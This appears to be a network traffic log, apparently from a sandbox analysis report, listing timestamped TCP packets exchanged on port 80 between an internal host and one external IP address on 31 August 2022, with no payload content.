Aug 31, 2022 14:28:34.615243912 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.615293026 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.615442991 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.615487099 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.615508080 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.615551949 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.615663052 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.615694046 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.615711927 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.615741968 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.774167061 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.774241924 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.774276018 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.774323940 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.774372101 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.774413109 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.774435043 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.774583101 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.774914026 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.774975061 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.775019884 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.775028944 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.775087118 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.775140047 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.775180101 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.775221109 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.776012897 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.776072979 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.776122093 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.776122093 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.776206017 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.776258945 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.776310921 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.776335955 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.777689934 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.777746916 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.777786016 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.777834892 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.777869940 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.777888060 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.777949095 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.777980089 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.778062105 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.778140068 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.778177977 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.778199911 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.778227091 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.778278112 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.778325081 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.778333902 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.778836012 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.778888941 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.778925896 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.778948069 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.779001951 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.779062033 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.779098034 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.779144049 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.779737949 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.779793978 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.779833078 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.779854059 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.779906034 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.779962063 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.779998064 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.780011892 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.780618906 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.780647993 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.780664921 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.780688047 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.780709028 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.780725002 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.780750036 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.780884027 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.781481981 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.781507015 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.781522989 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.781573057 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.781609058 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.781622887 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.781622887 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.781712055 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.783233881 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.783257961 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.783276081 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.783333063 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.783338070 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.783379078 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.783395052 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.783495903 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.783827066 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.783850908 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.783868074 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.783943892 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.784096003 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.784133911 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.784151077 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.784225941 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.784575939 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.784615040 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.784635067 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.784689903 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.784914970 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.784938097 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.784951925 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.785070896 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.941101074 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.941174030 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.941204071 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.941242933 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.941274881 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.941281080 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.941307068 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.941359997 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.942202091 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.942245007 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.942271948 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.942306042 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.942379951 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.942421913 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.942471981 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.942501068 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.942545891 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.942598104 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.942640066 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.942686081 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.942714930 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.942742109 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.942770958 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.942926884 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.944675922 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.944736004 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.944771051 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.944802046 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.944818974 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.944858074 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.944885969 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.944915056 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.945413113 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.945473909 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.945508957 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.945533037 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.945545912 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.945584059 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.945611000 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.945636034 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.946377039 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.946420908 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.946459055 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.946480036 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.946506977 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.946547985 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.946573973 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.946610928 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.946965933 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.947140932 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.947174072 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.947201014 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.947237015 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.947308064 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.947334051 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.947377920 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.947932005 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.947997093 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.948055983 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.948056936 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.948093891 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.948160887 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.948189020 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.948224068 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.948997974 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.949043036 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.949070930 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.949105978 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.949151993 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.949194908 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.949219942 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.949251890 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.949521065 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.949614048 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.949644089 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.949681997 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.949681044 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.949717999 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.949744940 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.949774981 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.950252056 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.950311899 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.950340986 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.950371027 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.950376987 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.950416088 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.950443029 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.950469017 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.950678110 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.950798988 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.950840950 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.950886965 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.950905085 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.950979948 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.951009035 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.951056004 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.951083899 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.951144934 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.951173067 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.951209068 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.951226950 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.951248884 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.951276064 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.951325893 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.107703924 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.107739925 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.107758999 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.107784986 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.107789040 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.107811928 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.107831001 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.107862949 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.108247995 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.108300924 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.108320951 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.108364105 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.108581066 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.108608961 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.108627081 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.108664989 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.109054089 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.109085083 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.109103918 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.109142065 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.109174013 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.109203100 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.109220028 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.109245062 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.109570026 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.109613895 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.109632969 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.109663963 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.109800100 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.109864950 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.109883070 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.109910965 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.110331059 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.110361099 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.110379934 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.110408068 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.110500097 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.110527992 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.110546112 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.110568047 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.110869884 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.110898972 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.110917091 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.110949993 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.111018896 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.111051083 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.111068964 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.111105919 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.111387968 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.111416101 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.111433983 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.111459970 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.111607075 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.111639023 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.111675978 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.111726046 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.111938953 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.111980915 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.112006903 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.112041950 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.112140894 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.112222910 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.112251043 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.112312078 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.112874031 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.112901926 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.112921953 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.112963915 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.113025904 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.113058090 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.113078117 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.113101006 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.113636971 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.113667011 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.113683939 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.113760948 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.113780975 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.113794088 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.113826990 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.113837004 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.114454031 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.114484072 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.114502907 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.114530087 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.114552021 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.114577055 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.114594936 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.114645004 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.114957094 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.114986897 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.115005970 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.115061045 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.115214109 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.115242958 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.115261078 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.115304947 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.115365028 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.115488052 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.115506887 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.115533113 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.115550041 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.115560055 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.115578890 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.115613937 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.116027117 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.116060019 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.116080046 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.116120100 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.116163015 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.116193056 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.116210938 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.116231918 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.116453886 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.116509914 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.116535902 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.116559029 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.116575956 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.116606951 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.116632938 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.116672039 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.117228031 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.117255926 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.117274046 CEST	80	49726	85.209.157.230	192.168.2.4
